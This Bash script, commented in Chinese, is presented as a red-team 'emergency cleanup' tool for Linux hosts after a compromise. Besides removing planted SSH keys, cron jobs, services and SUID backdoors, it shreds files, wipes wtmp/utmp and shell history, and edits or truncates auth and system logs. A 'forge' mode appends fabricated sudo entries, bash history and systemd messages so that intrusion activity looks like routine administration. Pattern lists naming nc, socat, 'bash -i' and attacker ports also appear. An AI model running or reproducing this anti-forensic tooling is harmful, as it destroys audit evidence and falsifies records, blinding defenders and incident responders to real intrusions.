#!/bin/bash

# 红队快速清理脚本
# 支持快速撤离、深度撤离和痕迹伪造

# 颜色定义
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color

# 全局变量
CLEANUP_MODE="fast"
BACKUP_DIR="/tmp/.cleanup_backup_$(date +%s)"
LOG_FILE="/tmp/cleanup_$(date +%Y%m%d_%H%M%S).log"
START_TIME=$(date +%s)

# 打印横幅
print_banner() {
    echo -e "${RED}"
    echo "╔══════════════════════════════════════════════════════════════╗"
    echo "║                    privilegeMaintenance v1.0                ║"
    echo "║                      紧急清理工具                            ║"
    echo "║                                                              ║"
    echo "║  ⚠️  警告: 此操作将删除所有后门和相关文件  ⚠️                ║"
    echo "╚══════════════════════════════════════════════════════════════╝"
    echo -e "${NC}"
}

# 日志函数
log_message() {
    local message="$1"
    local timestamp=$(date '+%Y-%m-%d %H:%M:%S')
    echo "[$timestamp] $message" >> "$LOG_FILE"
    echo -e "$message"
}

# 创建备份
create_backup() {
    local file="$1"
    if [ -f "$file" ]; then
        mkdir -p "$BACKUP_DIR"
        cp "$file" "$BACKUP_DIR/" 2>/dev/null
        log_message "${BLUE}[BACKUP]${NC} 备份文件: $file"
    fi
}

# 安全删除文件
secure_delete() {
    local file="$1"
    if [ -f "$file" ]; then
        # 先备份（如果是深度模式）
        if [ "$CLEANUP_MODE" = "deep" ]; then
            create_backup "$file"
        fi
        
        # 使用shred安全删除
        if command -v shred >/dev/null 2>&1; then
            shred -vfz -n 3 "$file" 2>/dev/null
        else
            # 如果没有shred，使用dd覆盖
            dd if=/dev/urandom of="$file" bs=1024 count=$(du -k "$file" | cut -f1) 2>/dev/null
            rm -f "$file"
        fi
        
        log_message "${GREEN}[DELETE]${NC} 安全删除: $file"
    fi
}

# 清理SSH后门
cleanup_ssh_backdoor() {
    log_message "${BLUE}[*] 清理SSH后门...${NC}"
    
    # 清理SSH密钥
    if [ -f ~/.ssh/authorized_keys ]; then
        if [ "$CLEANUP_MODE" = "deep" ]; then
            create_backup ~/.ssh/authorized_keys
        fi
        
        # 删除包含redteam标记的密钥
        if grep -q "# redteam" ~/.ssh/authorized_keys 2>/dev/null; then
            grep -v "# redteam" ~/.ssh/authorized_keys > ~/.ssh/authorized_keys.tmp
            mv ~/.ssh/authorized_keys.tmp ~/.ssh/authorized_keys
            log_message "${GREEN}[CLEAN]${NC} 清理SSH密钥中的红队标记"
        fi
        
        # 如果是快速模式，直接清空
        if [ "$CLEANUP_MODE" = "fast" ]; then
            > ~/.ssh/authorized_keys
            log_message "${GREEN}[CLEAN]${NC} 清空SSH authorized_keys"
        fi
    fi
    
    # 恢复SSH配置
    if [ -f /etc/ssh/sshd_config ]; then
        if [ "$CLEANUP_MODE" = "deep" ]; then
            create_backup /etc/ssh/sshd_config
            
            # 恢复默认配置
            sed -i 's/PermitRootLogin yes/PermitRootLogin no/g' /etc/ssh/sshd_config
            sed -i 's/PasswordAuthentication yes/PasswordAuthentication no/g' /etc/ssh/sshd_config
            
            # 重启SSH服务
            systemctl restart ssh 2>/dev/null || systemctl restart sshd 2>/dev/null
            log_message "${GREEN}[RESTORE]${NC} 恢复SSH配置并重启服务"
        fi
    fi
    
    # 清理SSH密钥文件
    ssh_keys=(~/.ssh/id_rsa ~/.ssh/id_rsa.pub ~/.ssh/id_ed25519 ~/.ssh/id_ed25519.pub)
    for key in "${ssh_keys[@]}"; do
        if [ -f "$key" ] && [ "$CLEANUP_MODE" = "fast" ]; then
            secure_delete "$key"
        fi
    done
}

# 清理Crontab后门
cleanup_crontab_backdoor() {
    log_message "${BLUE}[*] 清理Crontab后门...${NC}"
    
    # 备份当前crontab
    if [ "$CLEANUP_MODE" = "deep" ]; then
        crontab -l > "$BACKUP_DIR/crontab_backup" 2>/dev/null
    fi
    
    # 清空用户crontab
    crontab -r 2>/dev/null
    log_message "${GREEN}[CLEAN]${NC} 清空用户Crontab"
    
    # 清理系统cron文件
    cron_dirs=("/etc/cron.d" "/etc/cron.hourly" "/etc/cron.daily" "/etc/cron.weekly" "/etc/cron.monthly")
    for dir in "${cron_dirs[@]}"; do
        if [ -d "$dir" ]; then
            # 查找可疑文件
            find "$dir" -name "*redteam*" -o -name "*backdoor*" -o -name ".*" | while read -r file; do
                if [ -f "$file" ]; then
                    secure_delete "$file"
                fi
            done
        fi
    done
    
    # 重启cron服务
    systemctl restart cron 2>/dev/null || systemctl restart crond 2>/dev/null
    log_message "${GREEN}[RESTART]${NC} 重启Cron服务"
}

# 清理服务后门
cleanup_service_backdoor() {
    log_message "${BLUE}[*] 清理服务后门...${NC}"
    
    # 停止并删除可疑服务
    suspicious_services=("redteam-agent" "system-monitor" "log-cleaner" "backdoor-service")
    for service in "${suspicious_services[@]}"; do
        if systemctl is-active --quiet "$service"; then
            systemctl stop "$service" 2>/dev/null
            systemctl disable "$service" 2>/dev/null
            log_message "${GREEN}[STOP]${NC} 停止服务: $service"
        fi
        
        # 删除服务文件
        service_files=("/etc/systemd/system/${service}.service" "/lib/systemd/system/${service}.service")
        for file in "${service_files[@]}"; do
            if [ -f "$file" ]; then
                secure_delete "$file"
            fi
        done
    done
    
    # 重新加载systemd
    systemctl daemon-reload 2>/dev/null
    log_message "${GREEN}[RELOAD]${NC} 重新加载systemd配置"
    
    # 清理init.d脚本
    if [ -d /etc/init.d ]; then
        find /etc/init.d -name "*redteam*" -o -name "*backdoor*" | while read -r file; do
            if [ -f "$file" ]; then
                secure_delete "$file"
            fi
        done
    fi
}

# 清理进程后门
cleanup_process_backdoor() {
    log_message "${BLUE}[*] 清理进程后门...${NC}"
    
    # 杀死可疑进程
    suspicious_processes=("redteam" "backdoor" "reverse_shell" "nc -l" "python -c" "bash -i")
    for process in "${suspicious_processes[@]}"; do
        pids=$(pgrep -f "$process" 2>/dev/null)
        if [ -n "$pids" ]; then
            echo "$pids" | xargs kill -9 2>/dev/null
            log_message "${GREEN}[KILL]${NC} 终止进程: $process"
        fi
    done
    
    # 清理内存中的可疑模块
    if [ -f /proc/modules ]; then
        suspicious_modules=$(grep -E "(rootkit|backdoor|redteam)" /proc/modules | awk '{print $1}')
        for module in $suspicious_modules; do
            rmmod "$module" 2>/dev/null
            log_message "${GREEN}[UNLOAD]${NC} 卸载模块: $module"
        done
    fi
}

# 清理文件后门
cleanup_file_backdoor() {
    log_message "${BLUE}[*] 清理文件后门...${NC}"
    
    # 清理bashrc后门
    bashrc_files=("~/.bashrc" "~/.bash_profile" "~/.profile" "/etc/bash.bashrc" "/etc/profile")
    for file in "${bashrc_files[@]}"; do
        expanded_file=$(eval echo "$file")
        if [ -f "$expanded_file" ]; then
            if [ "$CLEANUP_MODE" = "deep" ]; then
                create_backup "$expanded_file"
                
                # 删除可疑行
                grep -v -E "(alias.*=|function.*\(|export.*=.*backdoor)" "$expanded_file" > "${expanded_file}.tmp"
                mv "${expanded_file}.tmp" "$expanded_file"
                log_message "${GREEN}[CLEAN]${NC} 清理文件: $expanded_file"
            fi
        fi
    done
    
    # 清理临时文件
    temp_dirs=("/tmp" "/var/tmp" "/dev/shm")
    for dir in "${temp_dirs[@]}"; do
        if [ -d "$dir" ]; then
            find "$dir" -name "*redteam*" -o -name "*backdoor*" -o -name ".*shell*" | while read -r file; do
                if [ -f "$file" ]; then
                    secure_delete "$file"
                fi
            done
        fi
    done
    
    # 清理SUID后门
    find /usr/bin /bin /usr/sbin /sbin -perm -4000 -name "*redteam*" -o -name "*backdoor*" 2>/dev/null | while read -r file; do
        if [ -f "$file" ]; then
            chmod -s "$file"
            secure_delete "$file"
        fi
    done
}

# 清理网络后门
cleanup_network_backdoor() {
    log_message "${BLUE}[*] 清理网络后门...${NC}"
    
    # 清理iptables规则
    if command -v iptables >/dev/null 2>&1; then
        # 删除可疑规则
        iptables -L --line-numbers | grep -E "(redteam|backdoor|22222|31337)" | while read -r line; do
            rule_num=$(echo "$line" | awk '{print $1}')
            if [[ "$rule_num" =~ ^[0-9]+$ ]]; then
                iptables -D INPUT "$rule_num" 2>/dev/null
                log_message "${GREEN}[CLEAN]${NC} 删除iptables规则: $rule_num"
            fi
        done
    fi
    
    # 清理hosts文件
    if [ -f /etc/hosts ]; then
        if [ "$CLEANUP_MODE" = "deep" ]; then
            create_backup /etc/hosts
            
            # 删除可疑条目
            grep -v -E "(redteam|backdoor|c2\.)" /etc/hosts > /etc/hosts.tmp
            mv /etc/hosts.tmp /etc/hosts
            log_message "${GREEN}[CLEAN]${NC} 清理hosts文件"
        fi
    fi
    
    # 终止可疑网络连接
    if command -v netstat >/dev/null 2>&1; then
        netstat -tulpn | grep -E ":22222|:31337|:4444|:5555" | while read -r line; do
            pid=$(echo "$line" | awk '{print $7}' | cut -d'/' -f1)
            if [[ "$pid" =~ ^[0-9]+$ ]]; then
                kill -9 "$pid" 2>/dev/null
                log_message "${GREEN}[KILL]${NC} 终止网络进程: $pid"
            fi
        done
    fi
}

# 清理日志痕迹
cleanup_log_traces() {
    log_message "${BLUE}[*] 清理日志痕迹...${NC}"
    
    # 清理认证日志
    auth_logs=("/var/log/auth.log" "/var/log/secure" "/var/log/messages")
    for log in "${auth_logs[@]}"; do
        if [ -f "$log" ]; then
            if [ "$CLEANUP_MODE" = "deep" ]; then
                create_backup "$log"
            fi
            
            # 删除包含redteam的行
            grep -v -i "redteam\|backdoor\|reverse" "$log" > "${log}.tmp" 2>/dev/null
            mv "${log}.tmp" "$log" 2>/dev/null
            log_message "${GREEN}[CLEAN]${NC} 清理日志: $log"
        fi
    done
    
    # 清理命令历史
    history_files=("~/.bash_history" "~/.zsh_history" "~/.history")
    for file in "${history_files[@]}"; do
        expanded_file=$(eval echo "$file")
        if [ -f "$expanded_file" ]; then
            if [ "$CLEANUP_MODE" = "fast" ]; then
                > "$expanded_file"
            else
                create_backup "$expanded_file"
                grep -v -E "(wget|curl|nc|ncat|socat|python.*socket|bash.*tcp)" "$expanded_file" > "${expanded_file}.tmp"
                mv "${expanded_file}.tmp" "$expanded_file"
            fi
            log_message "${GREEN}[CLEAN]${NC} 清理历史文件: $expanded_file"
        fi
    done
    
    # 清理系统日志
    if [ "$CLEANUP_MODE" = "deep" ]; then
        system_logs=("/var/log/syslog" "/var/log/kern.log" "/var/log/daemon.log")
        for log in "${system_logs[@]}"; do
            if [ -f "$log" ]; then
                create_backup "$log"
                
                # 只保留最近1小时的日志
                recent_time=$(date -d '1 hour ago' '+%b %d %H:%M')
                awk -v cutoff="$recent_time" '$0 >= cutoff' "$log" > "${log}.tmp"
                mv "${log}.tmp" "$log"
                log_message "${GREEN}[CLEAN]${NC} 截断日志: $log"
            fi
        done
    fi
    
    # 清理wtmp和utmp
    if [ "$CLEANUP_MODE" = "fast" ]; then
        > /var/log/wtmp 2>/dev/null
        > /var/log/utmp 2>/dev/null
        log_message "${GREEN}[CLEAN]${NC} 清空登录记录"
    fi
}

# 伪造痕迹
forge_traces() {
    log_message "${BLUE}[*] 伪造正常运维痕迹...${NC}"
    
    # 伪造认证日志
    if [ -f /var/log/auth.log ]; then
        current_time=$(date '+%b %d %H:%M:%S')
        hostname=$(hostname)
        
        # 添加正常的sudo操作记录
        echo "$current_time $hostname sudo: root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/ls" >> /var/log/auth.log
        echo "$current_time $hostname sudo: root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/ps aux" >> /var/log/auth.log
        echo "$current_time $hostname sudo: root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/netstat -tulpn" >> /var/log/auth.log
        
        log_message "${GREEN}[FORGE]${NC} 添加正常运维记录到auth.log"
    fi
    
    # 伪造命令历史
    if [ -f ~/.bash_history ]; then
        cat >> ~/.bash_history << EOF
ls -la
ps aux
netstat -tulpn
df -h
free -m
top
systemctl status
journalctl -f
tail -f /var/log/syslog
EOF
        log_message "${GREEN}[FORGE]${NC} 添加正常命令到历史记录"
    fi
    
    # 伪造系统日志
    if [ -f /var/log/syslog ]; then
        current_time=$(date '+%b %d %H:%M:%S')
        hostname=$(hostname)
        
        echo "$current_time $hostname systemd[1]: Started Daily apt download activities." >> /var/log/syslog
        echo "$current_time $hostname systemd[1]: Starting Clean up any logs older than 4 weeks..." >> /var/log/syslog
        echo "$current_time $hostname systemd[1]: Finished Clean up any logs older than 4 weeks." >> /var/log/syslog
        
        log_message "${GREEN}[FORGE]${NC} 添加正常系统活动到syslog"
    fi
}

# 显示帮助
show_help() {
    echo "用法: $0 [模式] [选项]"
    echo ""
    echo "模式:"
    echo "  fast    快速清理 (默认) - 10秒内完成"
    echo "  deep    深度清理 - 30秒内完成，包含文件恢复"
    echo "  forge   痕迹伪造 - 植入正常运维记录"
    echo ""
    echo "选项:"
    echo "  --help, -h      显示帮助信息"
    echo "  --backup-dir    指定备份目录"
    echo "  --no-log        不生成日志文件"
    echo ""
    echo "示例:"
    echo "  $0 fast         # 快速清理"
    echo "  $0 deep         # 深度清理"
    echo "  $0 forge        # 痕迹伪造"
}

# 主函数
main() {
    # 解析参数
    while [[ $# -gt 0 ]]; do
        case $1 in
            fast|deep|forge)
                CLEANUP_MODE="$1"
                shift
                ;;
            --backup-dir)
                BACKUP_DIR="$2"
                shift 2
                ;;
            --no-log)
                LOG_FILE="/dev/null"
                shift
                ;;
            --help|-h)
                show_help
                exit 0
                ;;
            *)
                echo "未知参数: $1"
                show_help
                exit 1
                ;;
        esac
    done
    
    print_banner
    
    log_message "${BLUE}开始执行 $CLEANUP_MODE 模式清理...${NC}"
    
    # 根据模式执行不同的清理策略
    case $CLEANUP_MODE in
        "fast")
            log_message "${YELLOW}⚡ 快速清理模式 - 目标10秒内完成${NC}"
            cleanup_ssh_backdoor
            cleanup_crontab_backdoor
            cleanup_process_backdoor
            cleanup_log_traces
            ;;
        "deep")
            log_message "${YELLOW}🔍 深度清理模式 - 目标30秒内完成${NC}"
            cleanup_ssh_backdoor
            cleanup_crontab_backdoor
            cleanup_service_backdoor
            cleanup_process_backdoor
            cleanup_file_backdoor
            cleanup_network_backdoor
            cleanup_log_traces
            ;;
        "forge")
            log_message "${YELLOW}🎭 痕迹伪造模式${NC}"
            forge_traces
            ;;
    esac
    
    # 计算执行时间
    end_time=$(date +%s)
    elapsed=$((end_time - START_TIME))
    
    log_message "${GREEN}✅ 清理完成，耗时: ${elapsed} 秒${NC}"
    
    if [ "$CLEANUP_MODE" = "deep" ] && [ -d "$BACKUP_DIR" ]; then
        log_message "${BLUE}💾 备份文件保存在: $BACKUP_DIR${NC}"
    fi
    
    if [ "$LOG_FILE" != "/dev/null" ]; then
        log_message "${BLUE}📝 详细日志保存在: $LOG_FILE${NC}"
    fi
    
    log_message "${YELLOW}🔥 建议立即重启系统以确保清理彻底${NC}"
}

# 检查是否为root用户
if [ "$EUID" -ne 0 ]; then
    echo -e "${RED}❌ 此脚本需要root权限运行${NC}"
    echo "请使用: sudo $0 $*"
    exit 1
fi

# 状态检查功能 (合并自status_check.sh)
check_system_status() {
    log_message "${BLUE}🔍 检查系统状态...${NC}"
    
    # 检查SSH后门
    if [ -f ~/.ssh/authorized_keys ]; then
        key_count=$(wc -l < ~/.ssh/authorized_keys)
        log_message "${GREEN}  ✅ SSH密钥文件存在 (${key_count} 个密钥)${NC}"
    else
        log_message "${RED}  ❌ SSH密钥文件不存在${NC}"
    fi
    
    # 检查SystemD服务
    if systemctl list-units --type=service | grep -q "persistence"; then
        log_message "${YELLOW}  ⚠️ 发现持久化服务${NC}"
    fi
    
    # 检查Crontab任务
    if crontab -l 2>/dev/null | grep -q "persistence\|backdoor"; then
        log_message "${YELLOW}  ⚠️ 发现可疑定时任务${NC}"
    fi
    
    # 检查环境变量
    if grep -q "PERSISTENCE\|BACKDOOR" ~/.bashrc 2>/dev/null; then
        log_message "${YELLOW}  ⚠️ 发现可疑环境变量${NC}"
    fi
}

# 主函数更新
case "${1:-cleanup}" in
    "cleanup")
        main "$@"
        ;;
    "status")
        check_system_status
        ;;
    "help"|"-h"|"--help")
        echo "用法: $0 [cleanup|status|help]"
        echo "  cleanup - 执行清理操作 (默认)"
        echo "  status  - 检查系统状态"
        echo "  help    - 显示帮助信息"
        ;;
    *)
        main "$@"
        ;;
esac